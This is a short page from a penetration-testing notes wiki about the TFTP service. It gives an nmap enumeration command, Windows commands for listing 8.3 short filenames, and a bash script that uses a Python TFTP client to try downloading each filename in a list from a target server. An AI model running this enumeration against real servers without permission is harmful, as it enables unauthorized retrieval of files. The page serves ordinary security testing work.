> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/tftp.md).

# TFTP

Enum with Nmap:

```
$ sudo nmap -sVU -p69 --script tftp-enum 10.10.13.37
```

## Brute Force Filenames

Make a list of potential filenames. Use 8.3 notation:

```
PS > cmd /c dir /x
PS > cmd /c "for %I in (.) do @echo %~sI"
```

Download Python TFTP implementation and use the Bash script below:

* <https://github.com/m4tx/pyTFTP>

```
$ git clone https://github.com/m4tx/pyTFTP && cd pyTFTP
$ ./tftp-brute.sh 10.10.13.37 files.txt
```

{% code title="tftp-brute.sh" %}

```bash
 #!/usr/bin/env bash

IP=$1
FILES=$2

while IFS= read -r file; do
	echo -n "[*] Trying ${file}... "
	if ./client.py -g "${file}" "${IP}" > /dev/null 2>&1; then
		echo "SUCCESS"
	else
		echo "FAIL"
	fi
done < "${FILES}"
```

{% endcode %}